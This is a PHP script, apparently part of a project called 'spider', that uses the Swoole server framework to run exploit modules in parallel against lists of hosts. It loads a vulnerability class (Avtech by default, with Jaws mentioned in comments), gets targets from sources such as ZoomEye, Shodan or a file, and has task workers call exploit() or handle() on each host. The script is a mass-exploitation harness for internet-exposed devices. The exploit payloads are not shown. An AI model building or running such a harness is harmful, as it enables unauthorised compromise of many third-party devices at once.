#!/usr/bin/env php
<?php
require_once __DIR__ . '/vendor/autoload.php';

use Swoole\Server;
use App\VulBox\Avtech;
use Jenner\Zoomeye\Zoomeye;
use Jenner\Zoomeye\Query\HostQuery;

define("BASE_PATH", realpath(__DIR__));

class App
{
    private $signature = 'spider';
    private $serv;
    private $vulCls;
    private $vulFrom;

    public function __construct($vulCls = 'Avtech')
    {
        $this->vulCls = "\\App\\VulBox\\{$vulCls}";
        $this->serv = new Server('0.0.0.0', rand(20000, 30000));
        $this->serv->set(array(
            'worker_num'  => 4,
            'task_worker_num' => 4,
            'max_request' => 1000,
        ));

        $this->serv->on('Start', array($this, 'onStart'));
        $this->serv->on('ManagerStart', array($this, 'onManagerStart'));
        $this->serv->on('WorkerStart', array($this, 'onWorkerStart'));
        $this->serv->on('Task', array($this, 'onTask'));
        $this->serv->on('Finish', array($this, 'onFinish'));
        $this->serv->on('Receive', array($this, 'onReceive'));

        $this->registerErrorHandling();
    }

    private function registerErrorHandling()
    {
        set_error_handler([$this, 'handleError']);

        set_exception_handler([$this, 'handleException']);
    }

    public function handleError($level, $message, $file = '', $line = 0, $context = [])
    {
        if (error_reporting() & $level) {
            $this->handleException(new ErrorException($message, 0, $level, $file, $line));
        }
    }

    public function handleException($e)
    {
        echo $e->getMessage() . "\tLine:" . $e->getLine() . PHP_EOL;
    }

    public function onReceive($server, $fd, $from_id, $data)
    {
    }

    public function onStart($server)
    {
        swoole_set_process_name($this->signature . " master");
    }

    public function onManagerStart($server)
    {
        swoole_set_process_name($this->signature . " manager");
    }

    public function onTask($server, $task_id, $from_id, $data)
    {
        global $argv;
        $argv[3] = $argv[3] ?? 'exploit';
        switch ($argv[3]) {
            case 'exploit' :
                (new $this->vulCls($data))->exploit();
                break;
            case 'handle' :
                (new $this->vulCls($data))->handle();
                break;
            default :
                (new $this->vulCls($data))->exploit();
                break;
        }

        $server->finish(1);
    }

    public function onFinish($server, $task_id, $data)
    {

    }

    public function handle($from = 'test')
    {
        $this->vulFrom = 'from'.ucfirst($from);
        $this->serv->start();
    }

    public function onWorkerStart($server, $worker_id)
    {
        if ($worker_id >= $server->setting['worker_num']) {
            swoole_set_process_name($this->signature . " task");
        } else {
            swoole_set_process_name($this->signature . " worker");
        }

        if ($worker_id == 0) {
//            $this->fromFile();
//            $this->fromZoomEye();
//            $this->fromShodan();
            foreach (call_user_func_array([$this->vulCls, $this->vulFrom], []) as $host) {
                $this->serv->task($host);
            }
        }
    }
}

(new App($argv[1]))->handle($argv[2]);

//(new \App\VulBox\Jaws($argv[1]))->handle();
//(new \App\VulBox\Avtech($argv[1]))->handle();